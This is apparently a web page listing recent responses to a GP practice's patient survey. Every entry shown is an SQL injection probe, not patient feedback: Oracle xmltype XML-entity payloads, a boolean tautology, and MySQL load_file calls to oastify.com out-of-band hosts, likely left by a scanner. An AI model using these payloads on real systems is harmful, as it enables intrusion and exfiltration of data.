Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %gdutw;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 6:16 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %gdutw;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 6:16 am |
Very good51886348′ or ‘8624’=’8624 | [10] | [11] | July 4, 2023 at 6:16 am |
Very good’+(select load_file(‘\5w2i3onbn9cfav8et82pujxfn6tah37ryumm9jx8.oastify.comdfq’))+’ | [10] | [11] | July 4, 2023 at 6:16 am |
(select load_file(‘\fbusiy2l2jrpp5no8ihz9tcp2g8kwdm1d31vosch.oastify.commcq’)) | [10] | [11] | July 4, 2023 at 6:15 am |
